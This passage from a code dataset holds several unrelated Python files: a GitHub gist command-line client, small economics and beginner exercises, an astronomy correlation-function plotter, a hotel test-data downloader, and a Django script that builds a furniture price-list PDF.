+= 1\n\n    return forks\n\n\ndef delete_gist(token, gist_id, api=None):\n    '''\n    Delete a gist.\n    '''\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n\n    if token is not None:\n        GIST_HEADER.update({'Authorization': ' '.join(['token', token])})\n\n    url = '/'.join([url, 'gists', gist_id])\n    response = requests.delete(url, headers=GIST_HEADER)\n\n    if response.status_code == 204:\n        return True\n\n    return False\n\n\ndef get_email_addr(token, **kwargs):\n    '''\n    Get the email address of the user.\n    '''\n    api = kwargs['api'] if 'api' in kwargs else None\n    per_page = kwargs['per_page'] if 'per_page' in kwargs else 100\n    page_limit = kwargs['page_limit'] if 'page_limit' in kwargs else 2\n\n    url = GITHUB_API_URL if api is None else api.rstrip('/')\n    url = '/'.join([url, 'user', 'emails'])\n    headers = {\n        'Accept': 'application/vnd.github.v3.json',\n        'Authorization': ' '.join(['token', token])\n    }\n    params = {'per_page': per_page}\n\n    current = 1\n    while current <= page_limit:\n        params.update({'page': current})\n        response = requests.get(url, headers=headers, params=params)\n        if response.status_code == 200:\n            try:\n                for email in response.json():\n                    if email['primary']:\n                        return email['email']\n            except (KeyError, ValueError):\n                return None\n        else:\n            return None\n\n        limit = check_page_limit(response)\n        if limit is None:\n            break\n        current += 1\n\n    return None\n\n\ndef post_gist_git(token, files, **kwargs):\n    '''\n    Same as post_gist but for files which are not plain-text or truncated.\n    '''\n\n    api = kwargs['api'] if 'api' in kwargs else None\n    public = kwargs['public'] if 'public' in kwargs else False\n    update = kwargs['update'] if 'update' in kwargs else False\n    current_dir_path = kwargs['dir'] if 'dir' in kwargs else None\n    description = kwargs['description'] if 'description' in kwargs else None\n\n    if current_dir_path is None:\n        return\n\n    now = datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\n    stub_name = '.gist-shell-stub-{0}'.format(datetime.utcnow().strftime('%s'))\n    stub = ('Created using gist-shell from {host} by {user} '\n            'at {time} UTC.').format(host=getfqdn(), user=getuser(), time=now)\n    stub_payload = {\n        stub_name: {\n            'content': stub + '\\n'\n        }\n    }\n\n    new_gist = post_gist(token, stub_payload, description, public, api)\n\n    try:\n        gist_id, pull_url, push_url = new_gist['id'], \\\n            new_gist['git_pull_url'], new_gist['git_push_url']\n\n        git = distutils.spawn.find_executable('git')\n        if git is None:\n            raise ValueError\n\n        addr = get_email_addr(token)\n        if addr is not None:\n            email = ['user.email', addr]\n        else:\n            email = ['user.name', getuser()]\n\n        # Set of git commands.\n        gist_dir_path = '/tmp/{0}'.format(gist_id)\n        copy_files = ['cp'] + [_['path'] for _ in files.values()] + \\\n            [gist_dir_path]\n        git_clone = [git, 'clone', pull_url, gist_dir_path]\n        git_config = [git, 'config', '--local'] + email\n        git_add = [git, 'add', '.']\n        git_rm = [git, 'rm', stub_name]\n        git_commit = [git, 'commit', '-m', 'From gist-shell']\n        protocol, uri = push_url.split('://')\n        git_push = [git, 'push', '{0}://{1}:@{2}'.format(protocol, token, uri)]\n\n        if os.path.exists(gist_dir_path) and os.path.isdir(gist_dir_path):\n            shutil.rmtree(gist_dir_path)\n\n        if update:\n            git_rm.append([_ for _ in files if files[_]['delete']])\n\n        execute = Popen(git_clone, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        os.chdir(gist_dir_path)\n\n        execute = Popen(git_clone, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(git_config, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(copy_files, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(git_add, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(git_rm, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(git_commit, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        execute = Popen(git_push, stdout=PIPE, stderr=PIPE, close_fds=True)\n        execute.communicate()\n\n        os.chdir(current_dir_path)\n\n        shutil.rmtree(gist_dir_path)\n\n    except (KeyError, ValueError, TypeError):\n        return None\n    return gist_id\n\n\ndef get_gist_git(gist, pull_url, dest_dir_path, current_dir_path, files=None):\n    '''\n    Download the content of the gist (when you have large/many files).\n    '''\n    git = distutils.spawn.find_executable('git')\n    gist_dir_path = '/tmp/{0}'.format(gist)\n    git_clone = [git, 'clone', pull_url, gist_dir_path]\n\n    files = [r'.*'] if files is None else files\n\n    ignore = [r'^(\\.gist-shell-stub-)\\d{10}$', r'^.git$']\n\n    if os.path.exists(gist_dir_path) and os.path.isdir(gist_dir_path):\n        shutil.rmtree(gist_dir_path)\n\n    dest_dir_path = current_dir_path if dest_dir_path is None \\\n        else dest_dir_path\n\n    execute = Popen(git_clone, stdout=PIPE, stderr=PIPE, close_fds=True)\n    execute.communicate()\n\n    all_files = [_file for item in files for _file in os.listdir(gist_dir_path)\n                 if fnmatch.fnmatch(_file, item)]\n    copy_files = list(set([_file for item in ignore for _file in all_files\n                           if not re.search(item, _file)]))\n\n    copy = ['cp'] + ['/'.join([gist_dir_path, _]) for _ in copy_files] + \\\n        [dest_dir_path]\n\n    execute = Popen(copy, stdout=PIPE, stderr=PIPE, close_fds=True)\n    execute.communicate()\n\n    shutil.rmtree(gist_dir_path)\n\n    return copy_files\n","repo_name":"clickyotomy/gist-shell","sub_path":"gister/gists.py","file_name":"gists.py","file_ext":"py","file_size_in_byte":15235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20174884648","text":"\nfrom typing import TypedDict\nimport pandas as pd\nimport json as js\nclass workersRes(TypedDict):\n    A: int\n    B: int\nclass workersResDict(TypedDict):\n    year: workersRes\n\n\noutputPerWorker: list[list[int]] = [[0, 0],\n    [1100,800], # 1\n    [1750,1500], # 2\n    [2100,2100], # 3\n    [2300,2600], # 4\n    [2400,3000], # 5\n    [2450,3000], # 6\n    [2450, 2900] # 7\n] # the index the the worker amount and first is for type a second for type b\n# apl: dict[int: dict[str:int]] = dict()\napl: workersResDict = dict()\nml: workersResDict = dict()\n\n\nfor index, val in enumerate(outputPerWorker):\n    if index == 0:\n        apl[index] = 0\n        ml[index] = 0\n        continue\n    apl[str(index)] = {\"A\": val[0] / index, \"B\": val[1] / index} \n    ml[str(index)] = {\"A\": val[0] - outputPerWorker[index - 1][0], \"B\": val[1] - outputPerWorker[index - 1][1]}\n    \n    \n    \napl_df = pd.DataFrame(apl)\nprint(js.dumps(apl, indent=4))\nprint(apl_df)\nprint(ml)\nml_df = pd.DataFrame(ml)\nprint(js.dumps(ml, indent=4))\nprint(ml_df)\n\n","repo_name":"1shaked/economics","sub_path":"EX5_1.py","file_name":"EX5_1.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32234388852","text":"\"\"\"\n\nAugust 17, 2011\nxi_cython.py v 1.0\nTree code to compute redshift space two-point correlation function\nNicolas Canac\nUniversity of California--Irvine\nUniversity of Texas--Austin\nPlease contact me with questions, comments, and suggestions at:\nncanac@uci.edu\n\n\"\"\"\n\nimport csv\nfrom numpy import *\nfrom time import *\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nfrom matplotlib import colors, ticker\nimport pylab as plt\nimport optparse\n\ndef commandLine():\n# Parses command line options and returns:\n\tparser = optparse.OptionParser()\n\tparser.add_option(\"-D\", \"--DD\", action=\"store\", type=\"string\", dest=\"DDfile\", #default=\"DD.txt\",\n\t\t\thelp=\"name of DD file\")\n\tparser.add_option(\"-R\", \"--RR\", action=\"store\", type=\"string\", dest=\"RRfile\", #default=\"RR.txt\",\n\t\t\thelp=\"name of RR file\")\n\tparser.add_option(\"-C\", \"--DR\", action=\"store\", type=\"string\", dest=\"DRfile\", #default=\"DR.txt\",\n\t\t\thelp=\"name of DR file\")\n\t(options, args) = parser.parse_args()\n\treturn options.DDfile, options.RRfile, options.DRfile\n\ndef calcXi(DD_bins, RR_bins, DR_bins, Nd, Nr):\n\t#Xi = (DD_bins*(Nr*(Nr-1.)/2.)) / (RR_bins*(Nd*(Nd-1.)/2.)) - 1.\n\tDD_bins = 2.*DD_bins/(Nd*(Nd-1.))\n\tRR_bins = 2.*RR_bins/(Nr*(Nr-1.))\n\tDR_bins = DR_bins/(Nd*Nr)\n\tXi = (DD_bins - 2*DR_bins + RR_bins)/RR_bins\n\t#Xi = DD_bins/RR_bins - 1.\n\t#Xi = (Nr*(Nr-1.)*DD_bins)/(Nd*(Nd-1.)*RR_bins) - ((Nr-1.)*DR_bins)/(Nd*RR_bins)\n\treturn Xi\n\ndef readfile(filename):\n\topenfile = csv.reader(open(filename, 'r'), delimiter = ' ', skipinitialspace = True)\n\tpair_counts = []\n\ti = 0\n\tfor row in openfile:\n\t\tif i == 0:\n\t\t\tBIN_MIN = float(row[0])\n\t\telif i == 1:\n\t\t\tBIN_MAX = float(row[0])\n\t\telif i == 2:\n\t\t\tBIN_WIDTH = float(row[0])\n\t\telif i == 3:\n\t\t\tN = int(row[0])\n\t\telse:\n\t\t\tcounts = []\n\t\t\tfor count in row:\n\t\t\t\tcounts.append(float(count))\n\t\t\tpair_counts.append(counts)\n\t\ti += 1\n\treturn BIN_MIN, BIN_MAX, BIN_WIDTH, N, pair_counts\n\ndef plotXi(Xi, BIN_MIN, BIN_MAX, BIN_WIDTH):\n\tX_LoS = arange(-(BIN_MAX)+BIN_WIDTH, BIN_MAX, BIN_WIDTH)\n\tY_trans = X_LoS.copy()\n\tX_LoS, Y_trans = meshgrid(X_LoS, Y_trans)\n\tXi_rotated = zeros_like(X_LoS)\n\tfor row in range(len(Xi_rotated)):\n\t\tfor col in range(len(Xi_rotated[0])):\n\t\t\tx = X_LoS[row][col]/BIN_WIDTH\n\t\t\ty = Y_trans[row][col]/BIN_WIDTH\n\t\t\tXi_rotated[row][col] = Xi[abs(x)][abs(y)]\n\t\t\t\t\n\tlevels = array([-1, -.03, -.01, -.007, -.003, -.001, 0, .001, .003, .007, .01, .03, .07, .1, .3, .7, 1, 3, 100])\n\tcolorcode = ('black', '#151B54', '#151B8D', '#0300ff', '#002cff', '#006cff', '#00bcff', '#00fff2', '#00ff92', '#00ff12', '#5eff00', '#beff00', '#feff00', '#ffc000', '#ff8000', '#ff3000', '#C11B17', '#800517')\n\tCS = plt.contourf(X_LoS, Y_trans, Xi_rotated, levels, colors=colorcode)\n\tcbar = plt.colorbar(CS)\n\tplt.xlabel('Transverse [Mpc]')\n\tplt.ylabel('LoS [Mpc]')\n\tplt.xlim((-BIN_MAX+BIN_WIDTH,BIN_MAX-BIN_WIDTH))\n\tplt.ylim((-BIN_MAX+BIN_WIDTH,BIN_MAX-BIN_WIDTH))\n\tplt.show()\n\ndef main():\n\tDDfile, RRfile, DRfile = commandLine()\n\tBIN_MIN, BIN_MAX, BIN_WIDTH, Nd, DD_bins = readfile(DDfile)\n\tBIN_MIN, BIN_MAX, BIN_WIDTH, Nr, RR_bins = readfile(RRfile)\n\tBIN_MIN, BIN_MAX, BIN_WIDTH, N, DR_bins = readfile(DRfile)\n\tXi = calcXi(array(DD_bins), array(RR_bins), array(DR_bins), Nd, Nr)\n\tplotXi(Xi, BIN_MIN, BIN_MAX, BIN_WIDTH)\n\nmain()\n\n","repo_name":"ncanac/xi_cython","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1267641299","text":"# Desenvolva um programa que leia nome, idade e sexo de 4 pessoas.\n# no final mostre:\n# A media da idade, nome do homem mais velho, e qts mulheres tem menos de 20 anos\n\n# Listas que iram armazenar os dados\nnomes = []\nidades = []\nsexos = []\n\nfor c in range(0, 4):\n    print('{} {}° pessoa {}'.format('='*10, c+1, '='*10))\n#Coletando dados\n    nome = str(input('Digite o nome: ')).strip()\n    idade = int(input('Digite a idade: '))\n    sexo = str(input('Digite o sexo  M - masculino  F - feminino: ')).strip().lower()\n# Gravando dados na listas\n    nomes.append(nome)\n    idades.append(idade)\n    sexos.append(sexo.lower())\n\n# calculo da media do grupo\nmed_idade = 0\nfor c in range(0, 4):\n    med_idade += idades[c]\nprint('Média das idades: {}'.format(med_idade/4))\n\n# Procurando homem mais velho:\nmaior = 0\nfor c in range(0, 4):\n    if sexos[c] == 'm':\n        if maior == 0:\n            maior = idades[c]\n        else:\n            if idades[c] > maior:\n                maior = idades[c]\n                resp = nomes[c]\nprint('Nome do homem mais velho é {} e tem {} anos'.format(resp, maior))\n\n# Procurando mulheres menores de 20 anos\nf_count = 0                 # variavel que armazena qtd de mulheres com menos de 20 anos\nfor c in range(0, 4):\n    if sexos[c] == 'f':\n        if idades[c] < 20:\n            f_count += 1\nprint('Quantidade de mulheres abaixo de 20 anos: {} '.format(f_count))","repo_name":"cesarsst/PythonProjects","sub_path":"PythonExercicios/ex056.py","file_name":"ex056.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41780754831","text":"import logging\nfrom functools import partial\nfrom multiprocessing.pool import ThreadPool\n\nfrom tqdm import tqdm\n\nfrom booking.api.booking_api import BookingApi, BookingListApi\n\nSUPPORTED_LANGUAGES = (\"en\", \"ru\")\n\n\nclass BookingGen:\n    def __init__(self, api, country, district_names):\n        self.api = api\n        self.country_code = country[\"country\"]\n        self.country_name = country[\"name\"]\n        self.district_names = district_names\n        logging.info(f\"Download[{self.country_code}]: {self.country_name}\")\n\n        extras = [\"hotel_info\"]\n        self.hotels = self._download_hotels(extras=extras)\n\n    def generate_tsv_rows(self, sep=\"\\t\"):\n        return (self._create_tsv_hotel_line(hotel, sep) for hotel in self.hotels)\n\n    @staticmethod\n    def _format_string(s):\n        s = s.strip()\n        for x in ((\"\\t\", \" \"), (\"\\n\", \" \"), (\"\\r\", \"\")):\n            s = s.replace(*x)\n        return s\n\n    def _download_hotels(self, **params):\n        return self.api.hotels(country_ids=self.country_code, **params)\n\n    def _create_tsv_hotel_line(self, hotel, sep=\"\\t\"):\n        hotel_data = hotel[\"hotel_data\"]\n        location = hotel_data[\"location\"]\n        district = \"None\"\n        if hotel_data[\"district_id\"] in self.district_names:\n            district = self.district_names[hotel_data[\"district_id\"]]\n        row = (\n            hotel[\"hotel_id\"],\n            hotel_data[\"address\"],\n            hotel_data[\"zip\"],\n            hotel_data[\"city\"],\n            district,\n            self.country_name,\n        )\n        return sep.join(BookingGen._format_string(str(x)) for x in row)\n\n\ndef create_tsv_header(sep=\"\\t\"):\n    row = (\n        \"Hotel ID\",\n        \"Address\",\n        \"ZIP\",\n        \"City\",\n        \"District\",\n        \"Country\",\n    )\n    return sep.join(x for x in row)\n\n\ndef download_hotels_by_country(api, district_names, country):\n    generator = BookingGen(api, country, district_names)\n    rows = list(generator.generate_tsv_rows())\n    logging.info(f\"For {country['name']} {len(rows)} lines were generated.\")\n    return rows\n\n\ndef download_test_data(\n    country_code, user, password, path, threads_count, progress_bar=tqdm(disable=True)\n):\n    logging.info(f\"Starting test dataset download.\")\n    api = BookingApi(user, password, \"2.4\")\n    list_api = BookingListApi(api)\n    districts = list_api.districts(languages=\"en\")\n    district_names = {}\n    for district in districts:\n        for translation in district[\"translations\"]:\n            if translation[\"language\"] == \"en\":\n                district_names[district[\"district_id\"]] = translation[\"name\"]\n    countries = list_api.countries(languages=\"en\")\n    if country_code is not None:\n        countries = list(filter(lambda x: x[\"country\"] in country_code, countries))\n    logging.info(f\"There are {len(countries)} countries.\")\n    progress_bar.desc = \"Countries\"\n    progress_bar.total = len(countries)\n    with open(path, \"w\") as f:\n        f.write(create_tsv_header() + \"\\n\")\n        with ThreadPool(threads_count) as pool:\n            for lines in pool.imap_unordered(\n                partial(download_hotels_by_country, list_api, district_names), countries\n            ):\n                f.writelines([f\"{x}\\n\" for x in lines])\n                progress_bar.update()\n    logging.info(f\"Hotels test dataset saved to {path}.\")\n","repo_name":"mapsme/omim","sub_path":"tools/python/booking/download_test_data.py","file_name":"download_test_data.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":4518,"dataset":"github-code","pt":"22"}
+{"seq_id":"36122538892","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys, os, django\nsys.path.append('/Users/Charlie/Sites/employee/backend')\nos.environ['DJANGO_SETTINGS_MODULE'] = 'EmployeeCenter.settings'\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\nimport logging\nimport math\nfrom decimal import *\nimport re\nimport csv\nimport multiprocessing\nfrom threading import Thread\nfrom time import sleep\nfrom operator import itemgetter\n\nfrom django.conf import settings\nfrom django.core.exceptions import *\nfrom django.db.models import Q, Sum\nfrom reportlab.lib import colors, utils\nfrom reportlab.lib.units import mm\nfrom reportlab.platypus import *\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.pagesizes import A4, landscape\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.graphics.barcode import code128\nfrom reportlab.lib.enums import TA_LEFT, TA_CENTER\nfrom svglib.svglib import svg2rlg\n\nfrom products.models import Model, Upholstery, Supply as ProductSupply\nfrom supplies.models import Fabric\nfrom contacts.models import Supplier\n\n\ndjango.setup()\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\n\npdfmetrics.registerFont(TTFont('Tahoma', settings.FONT_ROOT + 'Tahoma.ttf'))\npdfmetrics.registerFont(TTFont('Garuda', settings.FONT_ROOT + 'Garuda.ttf'))\n\n\nclass PricelistDocTemplate(BaseDocTemplate):\n    id = 0\n    top_padding = 36 #150\n\n\n    def __init__(self, filename, **kwargs):\n\n        BaseDocTemplate.__init__(self, filename, **kwargs)\n        self.addPageTemplates(self._create_page_template())\n\n    def _create_page_template(self):\n        frame = Frame(0, 0, 210 * mm, 297 * mm, leftPadding=36,\n                      bottomPadding=30, rightPadding=36,\n                      topPadding=self.top_padding)\n        template = PageTemplate('Normal', [frame])\n        template.beforeDrawPage = self._create_header\n        return template\n\n    def _create_header(self, canvas, doc):\n        #Draw the logo in the upper left\n        path = \"\"\"form_logo.jpg\"\"\"\n\n        img = utils.ImageReader(path)\n        #Get Size\n        img_width, img_height = img.getSize()\n        new_width = (img_width * 30) / img_height\n        #canvas.drawImage(path, 42, 780, height=30, width=new_width)\n\n        canvas.setFont('Times-Roman', 5)\n        canvas.drawString(565, 4, \"Page {0}\".format(doc.page))\n\n\nclass PricelistPDF(object):\n    models = [\n        'AC-2005',\n        'AC-2008',\n        'AC-2015',\n        'AC-2021',\n        #'AC-2023',\n        'AC-2027',\n        'AC-2029',\n        'AC-2033',\n        'AC-2042',\n        #'AC-2043',\n        'AC-2051',\n        #'AC-2055',\n        'AC-2080',\n        'AC-2082',\n        'AC-2086',\n        'AC-2090',\n        #'AC-2091',\n        #'AC-2093',\n        'AC-2106',\n        'AC-2108',\n        #'AC-2110',\n        'AC-2118',\n        #'AC-2123',\n        'AC-2137',\n        'AC-2142',\n        'AC-2157',\n        'AC-2159',\n        'PS-905',\n        #'PS-605',\n        'PS-1019',\n        'PS-1024',\n        'PS-1028',\n        'PS-1029',\n        #'PS-1031'\n    ]\n    queryset = Model.objects.filter(Q(model__in=models))\n    #queryset = Model.objects.filter(Q(model__istartswith='dw-') | Q(model__in=models))\n    #queryset = Model.objects.filter(Q(model__istartswith='ac-'))\n    #queryset = queryset.filter(upholstery__id__gt=0).distinct('model').order_by('model')\n    #queryset = queryset.exclude(model__icontains=\"DA-\")\n    #queryset = queryset.exclude(model='DW-1217').exclude(model='DW-1212')\n    #data = [m for m in queryset.filter(model__istartswith='dw-')]\n    #data += [m for m in queryset.exclude(model__istartswith='dw-').order_by('model')]\n    _display_retail_price = False\n    _overhead_percent = 30\n    _profit_percent = 35\n    _forex_rate = 36 #Forex rate for THB per USD\n    _preface = {'General Information': {'Conditions of Sale': 'conditions_of_sale.txt',\n                                        'Terms': 'terms.txt',\n                                        'Order Processing': 'order_processing.txt',\n                                        'Acknowledging': 'acknowledging.txt',\n                                        'Delivery': 'delivery.txt'},\n                 'Warranty': {'Warranty': 'warranty.txt',\n                              'Fabrics': 'fabrics.txt'},\n                 'Product Information': {'Custom Sizes': 'custom_sizes.txt'}}\n\n    table_style = [('GRID', (0, 0), (-1,-1), 1, colors.CMYKColor(black=60)),\n                   ('VALIGN', (0,0), (-1,-1), 'MIDDLE'),\n                   ('FONT', (0,0), (-1,-1), 'Garuda'),\n                   ('TEXTCOLOR', (0,0), (-1,-1), colors.CMYKColor(black=60)),\n                   ('ALIGNMENT', (0,0), (-1,-1), 'LEFT'),\n                   ('ALIGNMENT', (2,0), (2,-1), 'CENTER'),\n                   ('PADDING', (0,0), (-1,-1), 0),\n                   ('FONTSIZE', (0,0),(-1,-1), 10)]\n\n    def __init__(self, *args, **kwargs):\n\n        self.export = True\n        self.fabrics = fabrics\n\n    def create(self, filename='Pricelist.pdf'):\n        filename = filename if not self.export else \"Pricelist_Export.pdf\"\n\n        doc = PricelistDocTemplate(filename,\n                                   pagesize=A4,\n                                   leftMargin=12,\n                                   rightMargin=12,\n                                   topMargin=12,\n                                   bottomMargin=12)\n        stories = []\n\n\n        stories.append(Spacer(0, 200))\n        link = \"form_logo.jpg\"\n        stories.append(self._get_image(link, width=200))\n        stories.append(PageBreak())\n\n        logger.debug(\"\\n\\nProcessing Terms and Conditions\\n\\n\")\n\n        for category in ['General Information', 'Warranty', 'Product Information']:\n\n            stories.append(self._prepare_text(\"<u>\" + category + \"</u>\", alignment=TA_LEFT, font_size=18, fontname=\"Helvetica-Bold\"))\n            stories.append(Spacer(0, 20))\n\n            for key in self._preface[category]:\n\n                text = self._extract_text('texts/' + self._preface[category][key])\n                stories.append(self._prepare_text(key, alignment=TA_LEFT, font_size=16, fontname=\"Helvetica-Bold\", left_indent=20))\n                stories.append(Spacer(0, 10))\n                stories.append(self._prepare_text(text, alignment=TA_LEFT, font_size=14, left_indent=40, leading=20))\n                stories.append(Spacer(0, 25))\n\n            stories.append(PageBreak())\n\n        logger.debug(\"\\n\\nProcessing {0} Models\\n\\n\\n\\n\".format(self.queryset.count()))\n\n        models = self._prepare_data(self.queryset)\n\n        models_name = [model for model in sorted(models.keys(), key=lambda model: model.model) if \"DW-\" in model.model]\n        models_name += [model for model in sorted(models.keys(), key=lambda model: model.model) if \"DW-\" not in model.model]\n\n        # Adding models to the document. \n        for model in models_name:\n            stories.append(self._create_model_page(model, models[model]))\n            #stories.append(self._create_model_section(model, models[model]))\n            stories.append(PageBreak())\n\n        for story in stories:\n            try:\n                story.hAlign = \"CENTER\"\n            except AttributeError:\n                pass\n\n\n        doc.build(stories)\n\n    def _prepare_data(self, models):\n\n        data = {}\n        threads = []\n        for model in models:\n            data[model] = {}\n\n            t = Thread(target=self._add_upholstery_data, args=(model, data))\n            threads.append(t)\n            t.start()\n\n        while len([t for t in threads if t.isAlive()]) > 0:\n            sleep(1)\n\n        else:\n            return data\n\n    def _add_upholstery_data(self, model, data):\n\n\n        for upholstery in Upholstery.objects.filter(model=model).exclude(description__icontains=\"pillow\").distinct('description').order_by('description'):\n\n            uphol_data = {'id': upholstery.id,\n                          'configuration': upholstery.configuration.configuration,\n                          'description': upholstery.description,\n                          'width': upholstery.width,\n                          'depth': upholstery.depth,\n                          'height': upholstery.height,\n                          'price': upholstery.price,\n                          'export_price': upholstery.export_price}\n\n            try:\n                uphol_data['schematic'] = upholstery.schematic\n            except AttributeError:\n                logger.warn(\"Upholstery: {0} is missing schematics\".format(upholstery.description))\n\n            config_key = upholstery.configuration.configuration.lower()\n            config_key = config_key.replace(' right', '').replace('right', '')\n            config_key = config_key.replace(' left', '').replace('left', '')\n            config_key = config_key.replace('-', ' ').strip()\n            config_key = \" \".join([s.capitalize() for s in config_key.split(' ')])\n            data[model][config_key] = uphol_data\n\n    def _create_model_page(self, model, products):\n        # Initial array and image of product\n        images = model.images.all().order_by('-primary')\n\n        # Create data array used to create table\n        data = [[model.model]]\n        # Add Image for this model\n        try:\n            data.append([self._get_image(images[0].generate_url(), height=150)])\n        except IndexError as e:\n            data.append([''])\n            logger.warn(\"Model {0} is missing an image\".format(model.model))\n        \n        # Add title\n        data.append(['Schematic', 'Configuration', 'Width', 'Depth' ,'Height', 'Price'])\n\n        # Add upholstery\n        products = [(k, products[k]) for k in products]\n        for config, product in sorted(products, key=lambda t: (t[1]['depth'], t[1]['width'])):\n            \n            width = product['width']\n            depth = product['depth']\n            height = product['height']\n\n            price = product['export_price']\n            price = Decimal(str(math.ceil((price * Decimal('1.3')) / Decimal('10')))) * Decimal('10')\n            price = \"{0}\".format(int(price or 0))\n            \n            filename = \"temp/{0}.svg\".format(product['description'].replace(' ', '_'))\n            try:\n                #product['schematic'].download(filename)\n                drawing = svg2rlg(filename)\n                scale = (40 / drawing.height)\n                #drawing.scale(scale, scale)\n                drawing.vAlign = 'TOP'\n                drawing.renderScale = scale\n                data.append([drawing, config, width, depth, height, price])\n            except AttributeError as e:\n                try:\n                    product['schematic'].download(filename)\n                except AttributeError as e:\n                    logger.warn(\"{0} has no schematics\".format(product['description']))\n                logger.warn(\"Error getting schematics for {0}\".format(product['description']))\n                data.append(['', config, width, depth, height, price])\n\n        # Calculate the rowHeights\n        row_heights = [50, 150]\n        row_heights += [45 for i in xrange(len(products) + 1)]\n        table = Table(data, colWidths=(100, 200, 60, 60, 60, 75), rowHeights=row_heights)\n        table_style = TableStyle([('FONTSIZE', (0, 0), (0, 0), 20),\n                                  ('FONTSIZE', (0, 0), (-1, 2), 16),\n                                  #('GRID', (0, 0), (-1, -1), 1, 'RED'),\n                                  ('ALIGNMENT', (0,0), (-1, 1), 'CENTER'),\n                                  ('ALIGNMENT', (2,3), (-1, -1), 'CENTER'),\n                                  ('ALIGNMENT', (2,2), (-1, 2), 'CENTER'),\n                                  ('ALIGNMENT', (-1,3), (-1, -1), 'RIGHT'),\n                                  ('VALIGN', (0, 2), (0, -1), 'TOP'),\n                                  ('PADDING', (0,0), (-1, 0), 10),\n                                  ('RIGHTPADDING', (-1,3), (-1, -1), 30),\n                                  ('SPAN', (0, 0), (-1, 0)),\n                                  ('SPAN', (0, 1), (-1, 1)),\n                                  #('GRID', (0, 0), (-1, -1), 1, 'red'),\n                                  #('LEFTPADDING', (0, 0), (-1, -1), 0),\n                                  ('VALIGN', (0, 0), (-1, -1), 'MIDDLE')])\n        table.setStyle(table_style)\n\n        return table\n\n    def _create_model_section(self, model, products):\n \n        \"\"\"\n        Create a table of prices for all the products in this model\n        \"\"\"\n        # Products for this model\n        #products = Upholstery.objects.filter(model=model, supplies__id__gt=0).distinct('description').order_by('description')\n\n        # Initial array and image of product\n        images = model.images.all().order_by('-primary')\n\n        try:\n            data = [[self._prepare_text(model.model,\n                                        fontname='Helvetica',\n                                        alignment=TA_LEFT,\n                                        font_size=24,\n                                        left_indent=12)],[self._get_image(images[0].generate_url(), height=150)]]\n        except IndexError:\n            data = [['test']]\n\n        #data = [[self._prepare_text(model.model, font_size=24, alignment=TA_LEFT)]]\n\n        # Var to keep track of number of products priced\n        count = 0\n\n        for index in xrange(0, int(math.ceil(len(products) / float(4)))):\n\n            section_products = products\n            # Count number of products priced\n            count += len(section_products)\n\n            section = self._create_section(section_products, index)\n            data.append([section])\n\n        # Check that all products for this model have been priced\n        #assert count == len(products), \"Only {0} of {1} price\".format(count, len(products))\n\n        table_style = [('ALIGNMENT', (0,0), (0, 0), 'CENTER'),\n                       ('ALIGNMENT', (0, 1), (0, -1), 'LEFT'),\n                       ('PADDING', (0, 1), (-1, -1), 0),\n                       ('BOTTOMPADDING', (0, 0), (-1, -1), 30),\n                       ('LEFTPADDING', (0, 1), (0, -1), 15)]\n\n        table = Table(data, colWidths=(550))\n        table.setStyle(TableStyle(table_style))\n        return table\n\n    def _create_section(self, products, index):\n\n        data = []\n        for index, config in enumerate(products):\n            if index < 5:\n                product = products[config]\n                data.append([svg2rlg('armless-sofa.svg'), config, product['export_price']])\n       \n\n        table = Table(data)\n        table.setStyle(TableStyle([('GRID', (0, 0), (-1, -1), 1, colors.CMYKColor(black=60)),\n                                   ('LEFTPADDING', (0, 0), (-1, -1), 0),\n                                   ('VALIGN', (0, 0), (-1, -1), 'MIDDLE')]))\n\n        return table\n\n    def _create_product_price_table(self, product):\n        \"\"\"\n        Calculate price list for each product\n        \"\"\"\n        data  = [[\"W:{0} x D:{1} x H:{2}\".format(product['width'], product['depth'], product['height'])]]\n        #data  = []\n        #prices = product['prices']\n\n        data.append([product['export_price']])\n        logger.debug(data)\n        table = Table(data, colWidths=(120,))\n        table.setStyle(TableStyle([('ALIGNMENT', (0, 0), (-1, -1), 'CENTER'),\n                                   ('INNERGRID', (0, 0), (-1, -1), 1, colors.CMYKColor(black=60)),\n                                   #('TEXTCOLOR', (0, -1), (-1, -1), 'red')\n                                   ]))\n        return table\n\n    def _prepare_text(self, description, font_size=12, alignment=TA_CENTER, left_indent=0, fontname='Garuda', leading=12):\n\n        text = description if description else u\"\"\n        style = ParagraphStyle(name='Normal',\n                               alignment=alignment,\n                               fontName=fontname,\n                               fontSize=font_size,\n                               textColor=colors.CMYKColor(black=60),\n                               leftIndent=left_indent,\n                               leading=leading)\n        return Paragraph(text, style)\n\n    def _extract_text(self, filename):\n\n        file = open(filename)\n        txt = file.read()\n\n        return txt\n\n    #helps change the size and maintain ratio\n    def _get_image(self, path, width=None, height=None, max_width=0, max_height=0):\n        \"\"\"Retrieves the image via 